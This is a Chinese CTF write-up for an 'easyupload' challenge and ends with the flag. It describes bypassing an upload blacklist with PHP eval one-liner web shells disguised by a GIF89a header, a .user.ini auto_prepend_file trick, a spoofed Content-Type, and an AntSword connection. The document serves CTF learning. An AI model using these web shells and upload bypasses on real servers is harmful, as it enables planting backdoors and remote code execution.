CTF之easyupload

 

 拿到题目发现是文件上传的漏洞，但是这个黑名单过滤的有点严格，无论是文件里还是文件后缀都不能出现php

 

 

那我们就用<?=eval($_POST['a']);?>来进行绕过（注意这里要加个GIF89a或者GIP87a进行欺骗）

 

 但是后缀依然不能绕过怎么办？

接下来就要学新知识了

.user.ini文件

auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=shell.jpg

然后在shell.jpg中写入一个一句话木嘛

<?php eval($_P0ST['aaa']); ?>

那么和.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。

这里上传.user.ini文件

文件里写：auto_prepend_file=a.jpg

注意：要进行抓包将文件类型改成Content-Type: image/jpeg并且也要加GIF89a或者GIF87a

 然后再上传一个对应的木马文件，并且后缀为图片类型

最后就是用蚁剑连接了注意连接地址是/uploads/index.php

 

 

cyberpeace{8e50e0951cae4b39f7c312da788c71bb}